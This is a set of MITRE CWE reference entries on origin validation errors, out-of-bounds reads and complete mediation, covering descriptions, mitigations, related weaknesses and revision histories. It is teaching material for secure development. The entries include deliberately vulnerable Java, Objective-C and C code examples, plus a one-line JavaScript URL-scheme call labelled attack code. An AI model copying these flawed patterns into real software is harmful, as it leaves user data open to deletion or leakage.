When a developer begins to implement input validation for a web application, often the validation is performed in each area of the code that uses externally-controlled input. In complex applications with many inputs, the developer often misses a parameter here or a cookie there. One frequently-applied solution is to centralize all input validation, store these validated inputs in a separate data structure, and require that all access of those inputs must be through that data structure. An alternate approach would be to use an external input validation framework such as Struts, which performs the validation before the inputs are ever processed by the code.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Server does not properly validate client certificates when reusing cached connections.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 988 SFP Secondary Cluster: Race Condition Window
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1418 Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
Software Fault Patterns SFP20 Race Condition Window
+ References
[REF-196] Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975-09.
<http://web.mit.edu/Saltzer/www/publications/protection/>.
[REF-526] Sean Barnum and Michael Gegick. "Complete Mediation". 2005-09-12.
<https://web.archive.org/web/20221006191503/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/complete-mediation>. (URL validated: 2023-04-07)
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-01-18
(CWE Draft 8, 2008-01-30) 		Pascal Meunier Purdue University
+ Modifications
Modification Date Modifier Organization
2023-10-26 CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated References, Relationships, Time_of_Introduction
2023-01-31 CWE Content Team MITRE
updated Description, Relationships
2022-10-13 CWE Content Team MITRE
updated References
2020-02-24 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Causal_Nature
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships
2010-12-13 CWE Content Team MITRE
updated Name
2009-05-27 CWE Content Team MITRE
updated Related_Attack_Patterns
2009-01-12 CWE Content Team MITRE
updated Description, Name
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Relationships, Observed_Example, Weakness_Ordinalities
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2009-01-12 Design Principle Violation: Not Using Complete Mediation
2010-12-13 Failure to Use Complete Mediation
Back to top

CWE-346: Origin Validation Error

Weakness ID: 346
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly verify that the source of data or communication is valid.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Gain Privileges or Assume Identity; Varies by Context

Scope: Access Control, Other

An attacker can access any functionality that is inadvertently accessible to the source.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 345 Insufficient Verification of Data Authenticity
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 940 Improper Verification of Source of a Communication Channel
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 1385 Missing Origin Validation in WebSockets
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 451 User Interface (UI) Misrepresentation of Critical Information
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 417 Communication Channel Errors
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1214 Data Integrity Issues
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 345 Insufficient Verification of Data Authenticity
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1014 Identify Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


This Android application will remove a user account when it receives an intent to do so:

(bad code)
Example Language: Java 
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);

public class DeleteReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
int userID = intent.getIntExtra("userID");
destroyUserData(userID);
}
}

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file.



Example 2


These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

(bad code)
Example Language: Java 
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
writeDataToView(view, UserData);
return false;
}
else{
return true;
}
}
}
(bad code)
Example Language: Objective-C 
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:(UIWebViewNavigationType)exNavigationType
{
NSURL *URL = [exRequest URL];
if ([[URL scheme] isEqualToString:@"exampleScheme"])
{
NSString *functionString = [URL resourceSpecifier];
if ([functionString hasPrefix:@"specialFunction"])
{

// Make data available back in webview.
UIWebView *webView = [self writeDataToView:[URL query]];
}
return NO;
}
return YES;
}

A call into native code can then be initiated by passing parameters within the URL:

(attack code)
Example Language: JavaScript 
window.location = examplescheme://method?parameter=value

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning
DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning
DNS server caches glue records received from non-delegated name servers
user ID obtained from untrusted source (URL)
LDAP service does not verify if a particular attribute was set by the LDAP server
product does not sufficiently distinguish external HTML from internal, potentially dangerous HTML, allowing bypass using special strings in the page title. Overlaps special elements.
product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 949 SFP Secondary Cluster: Faulty Endpoint Authentication
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1382 ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1411 Comprehensive Categorization: Insufficient Verification of Data Authenticity
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Notes

Terminology

The "Origin Validation Error" term was originally used in a 1995 thesis [REF-324]. Although not formally defined, an issue is considered to be an origin validation error if either (1) "an object [accepts] input from an unauthorized subject," or (2) "the system [fails] to properly or completely authenticate a subject." A later section says that an origin validation error can occur when the system (1) "does not properly authenticate a user or process" or (2) "does not properly authenticate the shared data or libraries." The only example provided in the thesis (covered by OSVDB:57615) involves a setuid program running command-line arguments without dropping privileges. So, this definition (and its examples in the thesis) effectively cover other weaknesses such as CWE-287 (Improper Authentication), CWE-285 (Improper Authorization), and CWE-250 (Execution with Unnecessary Privileges). There appears to be little usage of this term today, except in the SecurityFocus vulnerability database, where the term is used for a variety of issues, including web-browser problems that allow violation of the Same Origin Policy and improper validation of the source of an incoming message.

Maintenance

This entry has some significant overlap with other CWE entries and may need some clarification. See terminology notes.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Origin Validation Error
ISA/IEC 62443 Part 3-3 Req SR 2.12 RE(1)
ISA/IEC 62443 Part 4-1 Req SD-1
ISA/IEC 62443 Part 4-1 Req SR-2
ISA/IEC 62443 Part 4-1 Req SVV-1
ISA/IEC 62443 Part 4-2 Req CR 2.12 RE(1)
ISA/IEC 62443 Part 4-2 Req CR 3.1 RE(1)
+ References
[REF-324] Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995-08-01.
<https://cwe.mitre.org/documents/sources/ATaxonomyofSecurityFaultsintheUNIXOperatingSystem%5BAslam95%5D.pdf>. (URL validated: 2024-11-17)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2023-04-25 "Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification Date Modifier Organization
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated References
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Taxonomy_Mappings
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2023-01-31 CWE Content Team MITRE
updated Description, Type
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Demonstrative_Examples, Terminology_Notes
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, References, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2014-06-23 CWE Content Team MITRE
updated Related_Attack_Patterns
2014-02-18 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Maintenance_Notes, References, Relationship_Notes, Relationships, Terminology_Notes
2012-05-11 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2011-06-27 CWE Content Team MITRE
updated Common_Consequences
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-12-13 CWE Content Team MITRE
updated Related_Attack_Patterns
2009-05-27 CWE Content Team MITRE
updated Related_Attack_Patterns
2008-09-08 CWE Content Team MITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
Back to top

CWE-125: Out-of-bounds Read

Weakness ID: 125
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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Edit Custom Filter


+ Description
The product reads data past the end, or before the beginning, of the intended buffer. Diagram for CWE-125
+ Alternate Terms
OOB read
Shorthand for "Out of bounds" read
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Memory

Scope: Confidentiality

An attacker could get secret values such as cryptographic keys, PII, memory addresses, or other information that could be used in additional attacks.

Bypass Protection Mechanism

Scope: Confidentiality

Out-of-bounds memory could contain memory addresses or other information that can be used to bypass ASLR and other protection mechanisms in order to improve the reliability of exploiting a separate weakness for code execution.

DoS: Crash, Exit, or Restart

Scope: Availability

An attacker could cause a segmentation fault or crash by causing memory to be read outside of the bounds of the buffer. This is especially likely when the code reads a variable amount of data and assumes that a sentinel exists to stop the read operation, such as a NUL in a string.

Varies by Context

Scope: Other

The read operation could produce other undefined or unexpected results.
+ Potential Mitigations
Phase(s) Mitigation

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.

Architecture and Design

Strategy: Language Selection

Use a language that provides appropriate memory abstractions.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 119 Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 126 Buffer Over-read
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 127 Buffer Under-read
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 822 Untrusted Pointer Dereference
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 823 Use of Out-of-range Pointer Offset
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 824 Access of Uninitialized Pointer
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 825 Expired Pointer Dereference
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1218 Memory Buffer Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 119 Improper Restriction of Operations within the Bounds of a Memory Buffer
+ Relevant to the view "CISQ Quality Measures (2020)" (View-1305)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 119 Improper Restriction of Operations within the Bounds of a Memory Buffer
+ Relevant to the view "CISQ Data Protection Measures" (View-1340)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 119 Improper Restriction of Operations within the Bounds of a Memory Buffer
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Technologies

Class: ICS/OT (Often Prevalent)

+ Demonstrative Examples

Example 1


In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

(bad code)
Example Language: C 
int getValueFromArray(int *array, int len, int index) {

int value;

// check that the array index is less than the maximum

// length of the array
if (index < len) {

// get the value at the specified index of the array
value = array[index];
}
// if array index is invalid then output error message

// and return value indicating error
else {
printf("Value is: %d\n", array[index]);
value = -1;
}

return value;
}

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

(good code)
Example Language: C 

...

// check that the array index is within the correct

// range of values for the array
if (index >= 0 && index < len) {

...


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
The reference implementation code for a Trusted Platform Module does not implement length checks on data, allowing for an attacker to read 2 bytes past the end of a buffer.
Out-of-bounds read in IP stack used in embedded systems, as exploited in the wild per CISA KEV.
Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.
HTML conversion package has a buffer under-read, allowing a crash
Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125)
Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122).
Chain: series of floating-point precision errors (CWE-1339) in a web browser rendering engine causes out-of-bounds read (CWE-125), giving access to cross-origin data
out-of-bounds read due to improper length check
packet with large number of specified elements cause out-of-bounds read.
packet with large number of specified elements cause out-of-bounds read.
out-of-bounds read, resultant from integer underflow
large length value causes out-of-bounds read
malformed image causes out-of-bounds read
OS kernel trusts userland-supplied length value, allowing reading of sensitive information
+ Weakness Ordinalities
Ordinality Description
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
When an out-of-bounds read occurs, typically the product has already made a separate mistake, such as modifying an index or performing pointer arithmetic that produces an out-of-bounds address.
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Fuzzing
Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 970 SFP Secondary Cluster: Faulty Buffer Access
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1157 SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1160 SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1161 SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1399 Comprehensive Categorization: Memory Safety
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Out-of-bounds Read
CERT C Secure Coding ARR30-C Imprecise Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding ARR38-C Imprecise Guarantee that library functions do not form invalid pointers
CERT C Secure Coding EXP39-C Imprecise Do not access a variable through a pointer of an incompatible type
CERT C Secure Coding STR31-C Imprecise Guarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure Coding STR32-C CWE More Abstract Do not pass a non-null-terminated character sequence to a library function that expects a string
Software Fault Patterns SFP8 Faulty Buffer Access
+ References
[REF-1034] Raoul Strackx, Yves Younan, Pieter Philippaerts, Frank Piessens, Sven Lachmund and Thomas Walter. "Breaking the memory secrecy assumption". ACM. 2009-03-31.
<https://dl.acm.org/doi/10.1145/1519144.1519145>. (URL validated: 2023-04-07)
[REF-1035] Fermin J. Serna. "The info leak era on software exploitation". 2012-07-25.
<https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2024-02-29
(CWE 4.15, 2024-07-16) 		Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Observed_Examples, Relationships
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated Alternate_Terms, Common_Consequences, Description, Diagram, Weakness_Ordinalities
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2022-10-13 CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2022-06-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2022-04-28 CWE Content Team MITRE
updated Research_Gaps
2021-07-20 CWE Content Team MITRE
updated Observed_Examples, Relationships
2020-12-10 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2020-08-20 CWE Content Team MITRE
updated Observed_Examples, Potential_Mitigations, Relationships
2020-06-25 CWE Content Team MITRE
updated Observed_Examples, Potential_Mitigations
2020-02-24 CWE Content Team MITRE
updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2019-09-19 CWE Content Team MITRE
updated Common_Consequences, Observed_Examples, Potential_Mitigations, References, Relationships
2019-06-20 CWE Content Team MITRE
updated Description, Related_Attack_Patterns
2019-01-03 CWE Content Team MITRE
updated Relationships
2018-03-27 CWE Content Team MITRE
updated Description
2017-11-08 CWE Content Team MITRE
updated Causal_Nature, Observed_Examples, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2014-06-23 CWE Content Team MITRE
updated Related_Attack_Patterns
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, References, Relationships
2011-06-01 CWE Content Team MITRE
